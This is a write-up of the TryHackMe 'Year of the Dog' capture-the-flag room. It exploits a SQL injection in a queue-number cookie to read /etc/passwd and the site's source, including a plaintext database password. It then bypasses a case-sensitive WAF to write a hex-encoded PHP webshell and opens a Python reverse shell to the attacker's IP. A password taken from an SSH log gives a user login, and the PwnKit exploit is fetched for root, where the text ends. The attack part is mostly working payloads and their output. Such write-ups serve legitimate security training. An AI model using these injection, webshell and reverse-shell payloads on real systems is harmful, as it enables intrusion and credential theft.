Year of the Dog - TryHackMe Writeup
Year of the Dog TryHackMe writeup β SQL injection through a queue-number cookie, hex-encoded webshell written via INTO OUTFILE to bypass a case-sensitive WAF, and PwnKit for root.
Always so politeβ¦
##Task 1 | Flags
Who knew? The dog has some bite!
###Answer the questions below
Q. User Flag
Ans.
Q. Root Flag
Ans.
##Walkthrough
Let's begin with a full port scan against the target
root@ip-10-49-70-222:~# nmap -p- -vv -sT -sV 10.49.179.235
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Great, we can head straight to the Web Application running on port 80.

Not much to grab here. We need to run a gobuster scan and enumerate any hidden pages/files -
root@ip-10-49-70-222:~# gobuster dir -u http://10.49.179.235/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x php,html,txt,zip
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.49.179.235/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: zip,php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 278]
/.php (Status: 403) [Size: 278]
/index.php (Status: 200) [Size: 597]
/assets (Status: 301) [Size: 315] [--> http://10.49.179.235/assets/]
/config.php (Status: 200) [Size: 0]
/server-status (Status: 403) [Size: 278]
Progress: 1091375 / 1091380 (100.00%)
===============================================================
Finished
===============================================================Not much here. /assets/ endpoint contained css, font and the background image.
After more recon, and inspecting the initial requests. Found the following -
GET / HTTP/1.1
Host: 10.49.179.235
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 26 Jul 2026 17:42:37 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: id=4c83ca27de75068cd382f14a8358e62b; path=/
Vary: Accept-Encoding
Content-Length: 598
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8When the first request was made, we were issued an ID which seems like a MD5 hash. Let's try tampering it's value and see if the queue number relates/depends on it.

And it does! When we change the value to 14. It returns the message - You are number Error in the queue
Now, we need to reverse engineer the logic here.
Couldn't crack the hash/string assigned. So, next we moved on to SQLi
And confirmed the vulnerability -
GET / HTTP/1.1
Host: 10.49.179.235
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.49.179.235/assets/
Cookie: id=' UNION SELECT 1,2 #
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 26 Jul 2026 18:18:33 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 597
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html>
<head>
<title>Canis Queue</title>
<meta charset=utf-8>
<meta name="viewport" content="width=device-width, user-scalable=no">
<link rel="stylesheet" type="text/css" href="assets/css/dancing.css">
<link rel="stylesheet" type="text/css" href="assets/css/alegreya.css">
<link rel="stylesheet" type="text/css" href="assets/css/style.css">
</head>
<body>
<div id="background"></div>
<main>
<h1>Canis Queueing</h1>
<h2>Where we queue for the sake of queueing -- like all good Brits!</h2>
<p>You are number 2 in the queue</p>
</main>
</body>
</html>
Great, next we'll enumerate the db -
Cookie: id=' UNION SELECT null,database() #
<p>You are number webapp in the queue</p>So, the database is webapp
Soon, we are able to read local files using LOAD_FILE-
GET / HTTP/1.1
Host: 10.49.179.235
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.49.179.235/assets/
Accept-Encoding: gzip, deflate, br
Cookie: id=' UNION SELECT null,LOAD_FILE('/etc/passwd') #
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 26 Jul 2026 19:09:29 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2213
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html>
<head>
<title>Canis Queue</title>
<meta charset=utf-8>
<meta name="viewport" content="width=device-width, user-scalable=no">
<link rel="stylesheet" type="text/css" href="assets/css/dancing.css">
<link rel="stylesheet" type="text/css" href="assets/css/alegreya.css">
<link rel="stylesheet" type="text/css" href="assets/css/style.css">
</head>
<body>
<div id="background"></div>
<main>
<h1>Canis Queueing</h1>
<h2>Where we queue for the sake of queueing -- like all good Brits!</h2>
<p>You are number root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
mysql:x:105:108:MySQL Server,,,:/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:109:114::/var/lib/landscape:/usr/sbin/nologin
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
dylan:x:1000:1000:dylan,,,:/home/dylan:/bin/bash
in the queue</p>
</main>
</body>
</html>
Next, we'll try and read the files we enumerated -
config.php -
<?php
$servername = "localhost";
$username = "web";
$password = "Cda3RsDJga";
$dbname = "webapp";
$dbh = new mysqli($servername, $username, $password, $dbname);
if ($dbh->connect_error){
die("Connection failed: ". $dbh->connect_error);
}
?>index.php -
<?php
$badStrings=array("3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f646f672f3e203c696e70757420747970653d7375626d69742076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a", "DUMPFILE", "SLEEP", "LOADFILE", "AND", ">", "<", "CONCAT", "IF", "ELT", "0,1");
$stringsLen=count($badStrings);
require_once "config.php";
if(!isset($_COOKIE["id"])){
$cookie = bin2hex(random_bytes(16));
$queueNum = rand(1,100);
setcookie("id", $cookie, NULL, "/");
$sql = "INSERT INTO queue VALUES ('". $cookie . "',". $queueNum .")";
if(!$dbh->query($sql) === TRUE){
die("Error: " . $dbh->error);
}
}
else {
$cookie = $_COOKIE["id"];
for($x=0; $x<$stringsLen;$x++){
if (strstr($cookie, $badStrings[$x]) !== false){
die("RCE Attempt detected");
}
}
$sql = "SELECT * FROM queue WHERE userID='". $cookie . "'";
$result = $dbh->query($sql);
if(!$result === TRUE){
die("Error: " . $dbh->error);
}
else if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
$queueNum = $row["queueNum"];
}
}
else{
$queueNum = "Error";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Canis Queue</title>
<meta charset=utf-8>
<meta name="viewport" content="width=device-width, user-scalable=no">
<link rel="stylesheet" type="text/css" href="assets/css/dancing.css">
<link rel="stylesheet" type="text/css" href="assets/css/alegreya.css">
<link rel="stylesheet" type="text/css" href="assets/css/style.css">
</head>
<body>
<div id="background"></div>
<main>
<h1>Canis Queueing</h1>
<h2>Where we queue for the sake of queueing -- like all good Brits!</h2>
<p>You are number <?php echo $queueNum;?>
The WAF uses PHP's strstr() function, which is case-sensitive. It blocks: DUMPFILE, SLEEP, LOADFILE, AND, >, <, CONCAT, IF, ELT, 0,1 (Notice that LOAD_FILE and concatworked because they bypass the case-sensitive match!)
So, let's try and use OUTFILE to dump a Reverse PHP Webshell -
Directly writing a webshell triggered the WAF. So, To bypass this, we can encode our PHP webshell as a Hex string in MySQL. MySQL will decode the hex and write the actual PHP code to the file, but the cookie payload itself won't contain any < or > characters, so it bypasses the WAF completely! -
GET / HTTP/1.1
Host: 10.49.179.235
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.49.179.235/assets/
Accept-Encoding: gzip, deflate, br
Cookie: id=' UNION SELECT null,0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e INTO OUTFILE '/var/www/html/shell.php' #
Content-Length: 26
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 26 Jul 2026 19:17:08 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 601
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html>
<head>
<title>Canis Queue</title>
<meta charset=utf-8>
<meta name="viewport" content="width=device-width, user-scalable=no">
<link rel="stylesheet" type="text/css" href="assets/css/dancing.css">
<link rel="stylesheet" type="text/css" href="assets/css/alegreya.css">
<link rel="stylesheet" type="text/css" href="assets/css/style.css">
</head>
<body>
<div id="background"></div>
<main>
<h1>Canis Queueing</h1>
<h2>Where we queue for the sake of queueing -- like all good Brits!</h2>
<p>You are number Error in the queue</p>
</main>
</body>
</html>

Moment of truth -
sh1v4ng@Shivangs-MacBook-Air TryHackMe % curl "http://10.49.179.235/shell.php?cmd=id"
\N uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh1v4ng@Shivangs-MacBook-Air TryHackMe %Works!
Let's establish a reverse listener on our attacker machine -
nc -lnvp 1337And, then send the payload -
http://10.49.179.235/shell.php?cmd=python3+-c+%27import+socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.49.70.222%22,1337));os.dup2(s.fileno(),0);+os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import+pty;+pty.spawn(%22sh%22)%27Now, we have a reverse shell established!
Stabilize the shell with the following commands -
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xtermNext, we head directly to the user /home/dylan -
www-data@year-of-the-dog:/home/dylan$ ls -la
ls -la
total 120
drwxr-xr-x 4 dylan dylan 4096 Sep 5 2020 .
drwxr-xr-x 3 root root 4096 Sep 3 2020 ..
lrwxrwxrwx 1 dylan dylan 9 Sep 3 2020 .bash_history -> /dev/null
-rw-r--r-- 1 dylan dylan 220 Sep 3 2020 .bash_logout
-rw-r--r-- 1 dylan dylan 3771 Sep 3 2020 .bashrc
drwx------ 2 dylan dylan 4096 Sep 5 2020 .cache
-rw-rw-r-- 1 dylan dylan 53 Sep 5 2020 .gitconfig
drwx------ 3 dylan dylan 4096 Sep 5 2020 .gnupg
lrwxrwxrwx 1 root root 9 Sep 3 2020 .mysql_history -> /dev/null
-rw-r--r-- 1 dylan dylan 807 Sep 5 2020 .profile
-rw-r--r-- 1 dylan dylan 0 Sep 5 2020 .sudo_as_admin_successful
-r-------- 1 dylan dylan 38 Sep 5 2020 user.txt
-rw-r--r-- 1 dylan dylan 85134 Sep 5 2020 work_analysis
www-data@year-of-the-dog:/home/dylan$
user.txt is not readable.
From the looks of it, work_analysis file is a log file of login attempts over SSH -
www-data@year-of-the-dog:/home/dylan$ head -n 50 work_analysis
head -n 50 work_analysis
Sep 5 20:52:34 staging-server sshd[39184]: Received disconnect from 192.168.1.142 port 45582:11: Bye Bye [preauth]
Sep 5 20:52:34 staging-server sshd[39184]: Disconnected from authenticating user root 192.168.1.142 port 45582 [preauth]
Sep 5 20:52:35 staging-server sshd[39190]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39191]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39194]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39195]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39192]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39189]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39186]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39196]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39188]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39197]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39187]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39198]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39193]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39200]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39201]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39216]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:37 staging-server sshd[39191]: Failed password for root from 192.168.1.142 port 45596 ssh2
Sep 5 20:52:37 staging-server sshd[39186]: Failed password for root from 192.168.1.142 port 45584 ssh2
Sep 5 20:52:37 staging-server sshd[39192]: Failed password for root from 192.168.1.142 port 45598 ssh2
Sep 5 20:52:37 staging-server sshd[39188]: Failed password for root from 192.168.1.142 port 45588 ssh2
Sep 5 20:52:37 staging-server sshd[39190]: Failed password for root from 192.168.1.142 port 45594 ssh2
Sep 5 20:52:37 staging-server sshd[39196]: Failed password for root from 192.168.1.142 port 45606 ssh2
Sep 5 20:52:37 staging-server sshd[39194]: Failed password for root from 192.168.1.142 port 45602 ssh2
Sep 5 20:52:37 staging-server sshd[39189]: Failed password for root from 192.168.1.142 port 45590 ssh2
Sep 5 20:52:37 staging-server sshd[39195]: Failed password for root from 192.168.1.142 port 45592 ssh2
Sep 5 20:52:37 staging-server sshd[39197]: Failed password for root from 192.168.1.142 port 45608 ssh2
Sep 5 20:52:37 staging-server sshd[39198]: Failed password for root from 192.168.1.142 port 45614 ssh2
Sep 5 20:52:37 staging-server sshd[39193]: Failed password for root from 192.168.1.142 port 45600 ssh2
Sep 5 20:52:37 staging-server sshd[39201]: Failed password for root from 192.168.1.142 port 45620 ssh2
Sep 5 20:52:37 staging-server sshd[39200]: Failed password for root from 192.168.1.142 port 45618 ssh2
Sep 5 20:52:37 staging-server sshd[39187]: Failed password for root from 192.168.1.142 port 45586 ssh2
Sep 5 20:52:37 staging-server sshd[39216]: Failed password for root from 192.168.1.142 port 45622 ssh2
Sep 5 20:52:39 staging-server sshd[39201]: Failed password for root from 192.168.1.142 port 45620 ssh2
Sep 5 20:52:39 staging-server sshd[39186]: Failed password for root from 192.168.1.142 port 45584 ssh2
Sep 5 20:52:39 staging-server sshd[39187]: Failed password for root from 192.168.1.142 port 45586 ssh2
Sep 5 20:52:39 staging-server sshd[39200]: Failed password for root from 192.168.1.142 port 45618 ssh2
Sep 5 20:52:39 staging-server sshd[39188]: Failed password for root from 192.168.1.142 port 45588 ssh2
Sep 5 20:52:39 staging-server sshd[39194]: Failed password for root from 192.168.1.142 port 45602 ssh2
Sep 5 20:52:39 staging-server sshd[39191]: Failed password for root from 192.168.1.142 port 45596 ssh2
Sep 5 20:52:39 staging-server sshd[39196]: Failed password for root from 192.168.1.142 port 45606 ssh2
Sep 5 20:52:39 staging-server sshd[39189]: Failed password for root from 192.168.1.142 port 45590 ssh2
Sep 5 20:52:39 staging-server sshd[39190]: Failed password for root from 192.168.1.142 port 45594 ssh2
Sep 5 20:52:39 staging-server sshd[39197]: Failed password for root from 192.168.1.142 port 45588 ssh2
Sep 5 20:52:39 staging-server sshd[39198]: Failed password for root from 192.168.1.142 port 45614 ssh2
Sep 5 20:52:39 staging-server sshd[39193]: Failed password for root from 192.168.1.142 port 45600 ssh2
Sep 5 20:52:39 staging-server sshd[39216]: Failed password for root from 192.168.1.142 port 45622 ssh2
Sep 5 20:52:39 staging-server sshd[39195]: Failed password for root from 192.168.1.142 port 45592 ssh2
Sep 5 20:52:39 staging-server sshd[39192]: Failed password for root from 192.168.1.142 port 45598 ssh2
www-data@year-of-the-dog:/home/dylan$ tail -n 50 work_analysis
tail -n 50 work_analysis
Sep 5 20:54:56 staging-server sshd[39286]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45712 ssh2 [preauth]
Sep 5 20:54:56 staging-server sshd[39287]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45706 ssh2 [preauth]
Sep 5 20:54:56 staging-server sshd[39288]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45714 ssh2 [preauth]
Sep 5 20:54:56 staging-server sshd[39293]: Disconnecting authenticating user root 192.168.1.142 port 45716: Too many authentication failures [preauth]
Sep 5 20:54:56 staging-server sshd[39286]: Disconnecting authenticating user root 192.168.1.142 port 45716: Too many authentication failures [preauth]
Sep 5 20:54:56 staging-server sshd[39287]: Disconnecting authenticating user root 192.168.1.142 port 45706: Too many authentication failures [preauth]
Sep 5 20:54:56 staging-server sshd[39288]: Disconnecting authenticating user root 192.168.1.142 port 45714: Too many authentication failures [preauth]
Sep 5 20:54:56 staging-server sshd[39293]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:54:56 staging-server sshd[39286]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:54:56 staging-server sshd[39287]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:54:56 staging-server sshd[39288]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:54:56 staging-server sshd[39293]: PAM service(sshd) ignoring max retries; 6 > 3
Sep 5 20:54:56 staging-server sshd[39287]: PAM service(sshd) ignoring max retries; 6 > 3
Sep 5 20:54:56 staging-server sshd[39286]: PAM service(sshd) ignoring max retries; 6 > 3
Sep 5 20:54:56 staging-server sshd[39288]: PAM service(sshd) ignoring max retries; 6 > 3
Sep 5 20:54:56 staging-server sshd[39303]: Failed password for root from 192.168.1.142 port 45736 ssh2
Sep 5 20:54:56 staging-server sshd[39303]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45736 ssh2 [preauth]
Sep 5 20:54:56 staging-server sshd[39303]: Disconnecting authenticating user root 192.168.1.142 port 45736: Too many authentication failures [preauth]
Sep 5 20:54:56 staging-server sshd[39300]: Failed password for root from 192.168.1.142 port 45726 ssh2
Sep 5 20:54:56 staging-server sshd[39303]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:54:56 staging-server sshd[39300]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45726 ssh2 [preauth]
Sep 5 20:54:56 staging-server sshd[39303]: PAM service(sshd) ignoring max retries; 6 > 3
Sep 5 20:54:56 staging-server sshd[39298]: Failed password for root from 192.168.1.142 port 45722 ssh2
Sep 5 20:54:56 staging-server sshd[39298]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45722 ssh2 [preauth]
Sep 5 20:54:56 staging-server sshd[39298]: Disconnecting authenticating user root 192.168.1.142 port 45722: Too many authentication failures [preauth]
Sep 5 20:54:56 staging-server sshd[39298]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:54:56 staging-server sshd[39298]: PAM service(sshd) ignoring max retries; 6 > 3
Sep 5 20:54:56 staging-server sshd[39300]: Disconnecting authenticating user root 192.168.1.142 port 45726 ssh2: Too many authentication failures [preauth]
Sep 5 20:54:56 staging-server sshd[39300]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:54:56 staging-server sshd[39300]: PAM service(sshd) ignoring max retries; 6 > 3
Sep 5 20:54:56 staging-server sshd[39299]: Failed password for root from 192.168.1.142 port 45724 ssh2
Sep 5 20:54:56 staging-server sshd[39299]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45724 ssh2 [preauth]
Sep 5 20:54:56 staging-server sshd[39299]: Disconnecting authenticating user root 192.168.1.142 port 45724: Too many authentication failures [preauth]
Sep 5 20:54:56 staging-server sshd[39299]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:54:56 staging-server sshd[39299]: PAM service(sshd) ignoring max retries; 6 > 3
Sep 5 20:54:56 staging-server sshd[39305]: Failed password for root from 192.168.1.142 port 45740 ssh2
Sep 5 20:54:56 staging-server sshd[39302]: Failed password for root from 192.168.1.142 port 45732 ssh2
Sep 5 20:54:56 staging-server sshd[39301]: Failed password for root from 192.168.1.142 port 45728 ssh2
Sep 5 20:54:56 staging-server sshd[39302]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45732 ssh2 [preauth]
Sep 5 20:54:56 staging-server sshd[39302]: Disconnecting authenticating user root 192.168.1.142 port 45732 ssh2 [preauth]
Sep 5 20:54:56 staging-server sshd[39305]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45740 ssh2 [preauth]
Sep 5 20:54:56 staging-server sshd[39301]: error: maximum authentication attempts exceeded for root from 192.168.1.142 port 45728 ssh2 [preauth]
Sep 5 20:54:56 staging-server sshd[39302]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:54:56 staging-server sshd[39301]: Disconnecting authenticating user root 192.168.1.142 port 45728 ssh2 [preauth]
Sep 5 20:54:56 staging-server sshd[39305]: Disconnecting authenticating user root 192.168.1.142 port 45740 ssh2 [preauth]
Sep 5 20:54:56 staging-server sshd[39301]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:54:56 staging-server sshd[39302]: PAM service(sshd) ignoring max retries; 6 > 3
Sep 5 20:54:56 staging-server sshd[39305]: PAM service(sshd) ignoring max retries; 6 > 3
Sep 5 20:54:56 staging-server sshd[39301]: PAM service(sshd) ignoring max retries; 6 > 3
Sep 5 20:54:56 staging-server sshd[39305]: PAM service(sshd) ignoring max retries; 6 > 3
www-data@year-of-the-dog:/home/dylan$
This is interesting as we can try to see if there were any failed attempts of leaking information about any other users -
www-data@year-of-the-dog:/home/dylan$ grep "Failed password for invalid user" work_analysis | grep -v "root"
rk_analysis | grep -v "root"valid user" wor
Sep 5 20:53:03 staging-server sshd[39218]: Failed password for invalid user dylanLabr4d0rs4L1f3 from 192.168.1.142 port 45624 ssh2
www-data@year-of-the-dog:/home/dylan$
www-data@year-of-the-dog:/home/dylan$ grep "Accepted password" work_analysis
grep "Accepted password" work_analysis
www-data@year-of-the-dog:/home/dylan$
www-data@year-of-the-dog:/home/dylan$ grep -oP "Failed password for \K(invalid user )?.*?(?= from)" work_analysis | sort -u
ser )?.*?(?= from)" work_analysis | sort -u
invalid user dylanLabr4d0rs4L1f3
root
www-data@year-of-the-dog:/home/dylan$
www-data@year-of-the-dog:/home/dylan$Interesting find! dylanLabr4d0rs4L1f3 seems like a password accidentally entered into the username field.
Or, maybe mangled where username was dylan and password - Labr4d0rs4L1f3 .
Let's try SSH for dylan -
root@ip-10-49-70-222:~# ssh dylan@10.49.179.235
The authenticity of host '10.49.179.235 (10.49.179.235)' can't be established.
ED25519 key fingerprint is SHA256:COVMyuuQk4t2tjR365JBufQ/zuW3VAnAka5yRg+KQnI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.49.179.235' (ED25519) to the list of known hosts.
dylan@10.49.179.235's password:
__ __ __ _ _ ____
\ \ / /__ __ _ _ __ ___ / _| | |_| |__ ___ | _ \ ___ __ _
\ V / _ \/ _` | '__| / _ \| |_ | __| '_ \ / _ \ | | | |/ _ \ / _` |
| | __/ (_| | | | (_) | _| | |_| | | | __/ | |_| | (_) | (_| |
|_|\___|\__,_|_| \___/|_| \__|_| |_|\___| |____/ \___/ \__, |
|___/
dylan@year-of-the-dog:~$ id
uid=1000(dylan) gid=1000(dylan) groups=1000(dylan)
dylan@year-of-the-dog:~$
And we're in! Let's get the user flag -
dylan@year-of-the-dog:~$ cat user.txt
THM{<REDACTED>}Great, we can now focus on the Root flag and attempt Privilege Escalation.
After a few attempts we found a vulnerable SUID binary (find / -type f -perm -4000 -exec ls -l {} \; 2>/dev/null)-

-rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexecSo, on the attacker machine we'll first clone the exploit and host it for the SSH connection to download on the target machine -
On Attacker Machine -
root@ip-10-49-70-222:~# wget https://github.com/ly4k/PwnKit/raw/main/PwnKit
python3 -m http.server 8000
--2026-07-26 19:42:40-- https://github.com/ly4k/PwnKit/raw/main/PwnKit
Resolving github.com (github.com)... 20.207.73.82
Connecting to github.com (github.com)|20.207.73.82|:443... connected.
